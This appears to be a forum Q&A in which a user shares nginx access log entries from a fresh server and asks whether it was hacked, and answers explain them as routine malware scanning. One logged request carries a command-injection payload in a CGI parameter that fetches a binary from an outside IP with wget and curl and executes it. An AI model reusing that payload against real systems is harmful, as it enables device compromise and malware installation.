0

I've setup a new server on DigitalOcean. I have forgotten to activate the firewall for a day, then I check nginx log and see these lines:

120.216.207.173 - - [11/Dec/2019:01:42:29 +0000] "GET http://ah.sina.com.cn/ HTTP/1.1" 200 612 "http://ah.sina.com.cn/" "Mozilla/5.0 (compatible; MSIE
 9.0; Windows NT 6.1; Trident/5.0)"
185.53.88.5 - - [11/Dec/2019:02:07:44 +0000] "GET //admin/config.php?password%5B0%5D=ZIZO&username=admin HTTP/1.1" 400 37 "-" "python-requests/2.6.0 C
Python/2.7.5 Linux/3.10.0-1062.4.3.el7.x86_64"
94.102.49.104 - - [11/Dec/2019:02:13:57 +0000] "GET ../../proc/ HTTP" 400 173 "-" "-"
120.216.207.173 - - [11/Dec/2019:02:52:07 +0000] "GET http://www.jaycn.com/ HTTP/1.1" 200 612 "http://www.jaycn.com/" "Mozilla/5.0 (compatible; MSIE 9
.0; Windows NT 6.1; Trident/5.0)"
120.216.207.173 - - [11/Dec/2019:02:52:15 +0000] "GET http://www.enet.com.cn/ HTTP/1.1" 200 612 "http://www.enet.com.cn/" "Mozilla/5.0 (compatible; MS
IE 9.0; Windows NT 6.1; Trident/5.0)"
120.216.207.173 - - [11/Dec/2019:02:52:19 +0000] "GET http://www.rising.cn/ HTTP/1.1" 200 612 "http://www.rising.cn/" "Mozilla/5.0 (compatible; MSIE 9
.0; Windows NT 6.1; Trident/5.0)"
208.97.139.112 - - [11/Dec/2019:02:52:46 +0000] "POST /stainfo.cgi?ifname=eth0;wget http://145.249.106.241/richard; curl -O http://145.249.106.241/ric
hard; chmod +x richard; sh richard HTTP/1.0" 404 169 "-" "-"
120.216.207.173 - - [11/Dec/2019:03:27:29 +0000] "GET http://www.xinhuanet.com/ HTTP/1.1" 200 612 "http://www.xinhuanet.com/" "Mozilla/5.0 (compatible
; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
120.216.207.173 - - [11/Dec/2019:04:21:33 +0000] "GET http://blog.sina.com.cn/ HTTP/1.1" 200 612 "http://blog.sina.com.cn/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
120.216.207.173 - - [11/Dec/2019:04:21:36 +0000] "GET http://www.guokr.com/ HTTP/1.1" 200 612 "http://www.guokr.com/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
120.216.207.173 - - [11/Dec/2019:04:21:41 +0000] "GET http://www.ecitic.com/ HTTP/1.1" 200 612 "http://www.ecitic.com/" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"

I'd like to know how my nginx can return the domain which it not be configure? Does it mean the nginx is hacked?

Improve this question
1
  • the nginx logs the requests when you access the IP address of the server. i guess this is what you are seeing here.
    – machineaddict
    Dec 11, 2019 at 9:24

1 Answer 1

Reset to default
0

It's just exploitation attempts from malware, which is common and normal.

The IP address indicates its this malware https://twitter.com/carbreal/status/1205059129619947520/photo/3

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .